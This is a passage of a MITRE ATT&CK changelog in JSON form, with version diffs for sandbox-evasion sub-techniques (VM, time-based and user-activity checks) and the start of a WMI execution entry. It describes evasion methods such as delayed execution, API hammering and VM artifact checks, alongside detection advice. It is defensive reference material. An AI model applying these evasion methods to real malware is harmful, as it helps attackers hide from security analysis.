>nd/or the Registry. Adversaries may use scripting to automat>mory, processes, file system, hardware, and/or the Registry.
>e these checks  into one script and then have the program ex> Adversaries may use scripting to automate these checks  int
>it if it determines the system to be a virtual environment. >o one script and then have the program exit if it determines
>  Checks could include generic system properties such as hos> the system to be a virtual environment.   Checks could incl
>t/domain name and samples of network traffic. Adversaries ma>ude generic system properties such as host/domain name and s
>y also check the network adapters addresses, CPU core count,>amples of network traffic. Adversaries may also check the ne
> and available memory/drive size.   Other common checks may >twork adapters addresses, CPU core count, and available memo
>enumerate services running that are unique to these applicat>ry/drive size.   Other common checks may enumerate services 
>ions, installed programs on the system, manufacturer/product>running that are unique to these applications, installed pro
> fields for strings relating to virtual machine applications>grams on the system, manufacturer/product fields for strings
>, and VME-specific hardware/processor instructions.(Citation> relating to virtual machine applications, and VME-specific 
>: McAfee Virtual Jan 2017) In applications like VMWare, adve>hardware/processor instructions.(Citation: McAfee Virtual Ja
>rsaries can also use a special I/O port to send commands and>n 2017) In applications like VMWare, adversaries can also us
> receive output.    Hardware checks, such as the presence of>e a special I/O port to send commands and receive output.   
> the fan, temperature, and audio devices, could also be used> Hardware checks, such as the presence of the fan, temperatu
> to gather evidence that can be indicative a virtual environ>re, and audio devices, could also be used to gather evidence
>ment. Adversaries may also query for specific readings from > that can be indicative a virtual environment. Adversaries m
>these devices.(Citation: Unit 42 OilRig Sept 2018)>ay also query for specific readings from these devices.(Cita
 >tion: Unit 42 OilRig Sept 2018)
", "changelog_mitigations": { "shared": [], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-06 21:11:11.225000+00:00", "modified": "2021-10-15 22:37:43.854000+00:00", "name": "Time Based Evasion", "description": "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1497/003", "external_id": "T1497.003" }, { "source_name": "Deloitte Environment Awareness", "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.", "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc" }, { "source_name": "Revil Independence Day", "description": "Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.", "url": "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/" }, { "source_name": "Netskope Nitol", "description": "Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.", "url": "https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique" }, { "source_name": "Joe Sec Nymaim", "description": "Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.", "url": "https://www.joesecurity.org/blog/3660886847485093803" }, { "source_name": "Joe Sec Trickbot", "description": "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021.", "url": "https://www.joesecurity.org/blog/498839998833561473" }, { "source_name": "ISACA Malware Tricks", "description": "Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.", "url": "https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Jorge Orchilles, SCYTHE", "Ruben Dodge, @shotgunner101", "Jeff Felling, Red Canary", "Deloitte Threat Library Team" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "Process: OS API Execution" ], "x_mitre_defense_bypassed": [ "Host forensic analysis", "Signature-based detection", "Static File Analysis", "Anti-virus" ], "x_mitre_detection": "Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 22:37:43.854000+00:00\", \"old_value\": \"2021-04-01 15:48:28.345000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\\n\\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\\n\\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\\n\\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)\", \"old_value\": \"Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\\n\\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.\\n\\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,7 @@\\n Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\\n \\n-Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.\\n+Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\\n+\\n+Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\\n \\n Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)\"}, \"root['external_references'][1]['source_name']\": {\"new_value\": \"Deloitte Environment Awareness\", \"old_value\": \"ISACA Malware Tricks\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.\", \"old_value\": \"Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc\", \"old_value\": \"https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Revil Independence Day\", \"description\": \"Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.\", \"url\": \"https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/\"}, \"root['external_references'][3]\": {\"source_name\": \"Netskope Nitol\", \"description\": \"Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.\", \"url\": \"https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique\"}, \"root['external_references'][4]\": {\"source_name\": \"Joe Sec Nymaim\", \"description\": \"Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.\", \"url\": \"https://www.joesecurity.org/blog/3660886847485093803\"}, \"root['external_references'][5]\": {\"source_name\": \"Joe Sec Trickbot\", \"description\": \"Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021.\", \"url\": \"https://www.joesecurity.org/blog/498839998833561473\"}, \"root['external_references'][6]\": {\"source_name\": \"ISACA Malware Tricks\", \"description\": \"Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.\", \"url\": \"https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes\"}, \"root['x_mitre_contributors'][0]\": \"Jorge Orchilles, SCYTHE\", \"root['x_mitre_contributors'][1]\": \"Ruben Dodge, @shotgunner101\", \"root['x_mitre_contributors'][2]\": \"Jeff Felling, Red Canary\"}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may employ various time-based methods to detect t1Adversaries may employ various time-based methods to detect 
>and avoid virtualization and analysis environments. This may>and avoid virtualization and analysis environments. This may
> include enumerating time-based properties, such as uptime o> include enumerating time-based properties, such as uptime o
>r the system clock, as well as the use of timers or other tr>r the system clock, as well as the use of timers or other tr
>iggers to avoid a virtual machine environment (VME) or sandb>iggers to avoid a virtual machine environment (VME) or sandb
>ox, specifically those that are automated or only operate fo>ox, specifically those that are automated or only operate fo
>r a limited amount of time.  Adversaries may employ various >r a limited amount of time.  Adversaries may employ various 
>time-based evasions, such as delaying malware functionality >time-based evasions, such as delaying malware functionality 
>upon initial execution using programmatic sleep commands or >upon initial execution using programmatic sleep commands or 
>native system scheduling functionality (ex: [Scheduled Task/>native system scheduling functionality (ex: [Scheduled Task/
>Job](https://attack.mitre.org/techniques/T1053)). Delays may>Job](https://attack.mitre.org/techniques/T1053)). Delays may
> also be based on waiting for specific victim conditions to > also be based on waiting for specific victim conditions to 
>be met (ex: system time, events, etc.) or employ scheduled [>be met (ex: system time, events, etc.) or employ scheduled [
>Multi-Stage Channels](https://attack.mitre.org/techniques/T1>Multi-Stage Channels](https://attack.mitre.org/techniques/T1
>104) to avoid analysis and scrutiny.  Adversaries may also u>104) to avoid analysis and scrutiny.(Citation: Deloitte Envi
>se time as a metric to detect sandboxes and analysis environ>ronment Awareness)  Benign commands or other operations may 
>ments, particularly those that attempt to manipulate time me>also be used to delay malware execution. Loops or otherwise 
>chanisms to simulate longer elapses of time. For example, an>needless repetitions of commands, such as [Ping](https://att
> adversary may be able to identify a sandbox accelerating ti>ack.mitre.org/software/S0097)s, may be used to delay malware
>me by sampling and calculating the expected value for an env> execution and potentially exceed time thresholds of automat
>ironment's timestamp before and after execution of a sleep f>ed analysis environments.(Citation: Revil Independence Day)(
>unction.(Citation: ISACA Malware Tricks)>Citation: Netskope Nitol) Another variation, commonly referr
 >ed to as API hammering, involves making various calls to [Na
 >tive API](https://attack.mitre.org/techniques/T1106) functio
 >ns in order to delay execution (while also potentially overl
 >oading analysis environments with junk data).(Citation: Joe 
 >Sec Nymaim)(Citation: Joe Sec Trickbot)  Adversaries may als
 >o use time as a metric to detect sandboxes and analysis envi
 >ronments, particularly those that attempt to manipulate time
 > mechanisms to simulate longer elapses of time. For example,
 > an adversary may be able to identify a sandbox accelerating
 > time by sampling and calculating the expected value for an 
 >environment's timestamp before and after execution of a slee
 >p function.(Citation: ISACA Malware Tricks)
", "changelog_mitigations": { "shared": [], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-06 21:04:12.454000+00:00", "modified": "2021-10-18 14:57:48.362000+00:00", "name": "User Activity Based Checks", "description": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1497/002", "external_id": "T1497.002" }, { "source_name": "Deloitte Environment Awareness", "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.", "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc" }, { "source_name": "Sans Virtual Jan 2016", "description": "Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.", "url": "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667" }, { "source_name": "Unit 42 Sofacy Nov 2018", "description": "Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved April 23, 2019.", "url": "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" }, { "source_name": "FireEye FIN7 April 2017", "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Deloitte Threat Library Team" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "Process: OS API Execution" ], "x_mitre_defense_bypassed": [ "Anti-virus", "Static File Analysis", "Signature-based detection", "Host forensic analysis" ], "x_mitre_detection": "User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 14:57:48.362000+00:00\", \"old_value\": \"2020-07-01 16:32:02.491000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\\n\\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) \", \"old_value\": \"Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. \\n\\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. \\n+Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\\n \\n Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) \"}, \"root['external_references'][1]['source_name']\": {\"new_value\": \"Deloitte Environment Awareness\", \"old_value\": \"Sans Virtual Jan 2016\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.\", \"old_value\": \"Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc\", \"old_value\": \"https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"Sans Virtual Jan 2016\", \"old_value\": \"Unit 42 Sofacy Nov 2018\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.\", \"old_value\": \"Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \\u2018Cannon\\u2019 Trojan. Retrieved April 23, 2019.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667\", \"old_value\": \"https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"Unit 42 Sofacy Nov 2018\", \"old_value\": \"FireEye FIN7 April 2017\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \\u2018Cannon\\u2019 Trojan. Retrieved April 23, 2019.\", \"old_value\": \"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/\", \"old_value\": \"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"FireEye FIN7 April 2017\", \"description\": \"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.\", \"url\": \"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may employ various user activity checks to detect1Adversaries may employ various user activity checks to detec
>t and avoid virtualization and analysis environments. This m>t and avoid virtualization and analysis environments. This m
>ay include changing behaviors based on the results of checks>ay include changing behaviors based on the results of checks
> for the presence of artifacts indicative of a virtual machi> for the presence of artifacts indicative of a virtual machi
>ne environment (VME) or sandbox. If the adversary detects a >ne environment (VME) or sandbox. If the adversary detects a 
>VME, they may alter their malware to disengage from the vict>VME, they may alter their malware to disengage from the vict
>im or conceal the core functions of the implant. They may al>im or conceal the core functions of the implant. They may al
>so search for VME artifacts before dropping secondary or add>so search for VME artifacts before dropping secondary or add
>itional payloads. Adversaries may use the information learne>itional payloads. Adversaries may use the information learne
>d from [Virtualization/Sandbox Evasion](https://attack.mitre>d from [Virtualization/Sandbox Evasion](https://attack.mitre
>.org/techniques/T1497) during automated discovery to shape f>.org/techniques/T1497) during automated discovery to shape f
>ollow-on behaviors.   Adversaries may search for user activi>ollow-on behaviors.(Citation: Deloitte Environment Awareness
>ty on the host based on variables such as the speed/frequenc>)  Adversaries may search for user activity on the host base
>y of mouse movements and clicks (Citation: Sans Virtual Jan >d on variables such as the speed/frequency of mouse movement
>2016) , browser history, cache, bookmarks, or number of file>s and clicks (Citation: Sans Virtual Jan 2016) , browser his
>s in common directories such as home or the desktop. Other m>tory, cache, bookmarks, or number of files in common directo
>ethods may rely on specific user interaction with the system>ries such as home or the desktop. Other methods may rely on 
> before the malicious code is activated, such as waiting for>specific user interaction with the system before the malicio
> a document to close before activating a macro (Citation: Un>us code is activated, such as waiting for a document to clos
>it 42 Sofacy Nov 2018) or waiting for a user to double click>e before activating a macro (Citation: Unit 42 Sofacy Nov 20
> on an embedded image to activate.(Citation: FireEye FIN7 Ap>18) or waiting for a user to double click on an embedded ima
>ril 2017) >ge to activate.(Citation: FireEye FIN7 April 2017) 
", "changelog_mitigations": { "shared": [], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:44.329000+00:00", "modified": "2021-10-15 23:58:07.715000+00:00", "name": "Windows Management Instrumentation", "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI) (Citation: FireEye WMI 2015)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1047", "external_id": "T1047" }, { "source_name": "MSDN WMI", "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.", "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx" }, { "source_name": "FireEye WMI 2015", "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" }, { "source_name": "FireEye WMI SANS 2015", "description": "Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "@ionstorm" ], "x_mitre_data_sources": [ "Command: Command Execution", "Process: Process Creation", "Network Traffic: Network Connection Creation" ], "x_mitre_detection": "Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)", 